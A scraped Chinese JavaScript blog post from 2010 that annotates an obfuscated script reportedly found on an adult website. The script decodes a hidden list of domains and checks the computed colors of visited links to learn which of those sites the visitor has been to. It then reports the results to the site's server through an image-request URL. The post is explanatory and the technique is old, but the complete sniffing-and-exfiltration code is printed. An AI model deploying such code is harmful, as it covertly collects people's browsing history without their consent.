悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
javascript中负数算术右移、逻辑右移的奥秘探索
Oct 17 Javascript
javascript实现五星评价代码(源码下载)
Aug 11 Javascript
jquery SweetAlert插件实现响应式提示框
Aug 18 Javascript
详解页面滚动值scrollTop在FireFox与Chrome浏览器间的兼容问题
Dec 03 Javascript
jQuery使用$.ajax提交表单完整实例
Dec 11 Javascript
jQuery选择器用法实例详解
Dec 17 Javascript
js简单判断flash是否加载完成的方法
Jun 21 Javascript
AngularJS 自定义过滤器详解及实例代码
Sep 14 Javascript
JS创建Tag标签的方法详解
Jun 09 Javascript
jQuery实现IE输入框完成placeholder标签功能的方法
Sep 20 jQuery
layui+SSM的数据表的增删改实例(利用弹框添加、修改)
Sep 27 Javascript
原生js+canvas实现贪吃蛇效果
Aug 02 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
西德产收音机
2021/03/01 无线电
如何隐藏你的.php文件
2007/01/04 PHP
深入PHP数据缓存的使用说明
2013/05/10 PHP
PHP Web木马扫描器代码分享
2015/09/06 PHP
重定向实现代码
2006/11/20 Javascript
跟随鼠标旋转的文字
2006/11/30 Javascript
javascript之解决IE下不渲染的bug
2007/06/29 Javascript
JavaScript格式化日期时间的方法和自定义格式化函数示例
2014/04/04 Javascript
浅谈JavaScript function函数种类
2014/12/29 Javascript
如何改进javascript代码的性能
2015/04/02 Javascript
浅谈javascript事件取消和阻止冒泡
2015/05/26 Javascript
jquery实现简单实用的打分程序实例
2015/07/23 Javascript
jQuery动态星级评分效果实现方法
2015/08/06 Javascript
jquery实现表单验证简单实例演示
2015/11/23 Javascript
jquery淡入淡出效果简单实例
2016/01/14 Javascript
javascript瀑布流式图片懒加载实例
2020/06/28 Javascript
深入浅析Extjs中store分组功能的使用方法
2016/04/20 Javascript
easyui 中的datagrid跨页勾选问题的实现方法
2017/01/18 Javascript
Angular CLI 安装和使用教程
2017/09/13 Javascript
利用ECharts.js画K线图的方法示例
2018/01/10 Javascript
angular2中使用第三方js库的实例
2018/02/26 Javascript
Vue router安装及使用方法解析
2020/12/02 Vue.js
vue-router懒加载的3种方式汇总
2021/02/28 Vue.js
基于Python实现通过微信搜索功能查看谁把你删除了
2016/01/27 Python
python石头剪刀布小游戏(三局两胜制)
2021/01/20 Python
python中比较两个列表的实例方法
2019/07/04 Python
python自定义时钟类、定时任务类
2021/02/22 Python
利用Python检测URL状态
2019/07/31 Python
pycharm 激活码及使用方式的详细教程
2020/05/12 Python
python工具——Mimesis的简单使用教程
2021/01/16 Python
HTML5中原生的右键菜单创建方法
2016/06/28 HTML / CSS
会计专业推荐信
2013/10/29 职场文书
《要下雨了》教学反思
2014/02/17 职场文书
禁止酒驾标语
2014/06/25 职场文书
班级心理活动总结
2014/07/04 职场文书
索尼ICF-36收音机评测
2022/04/30 无线电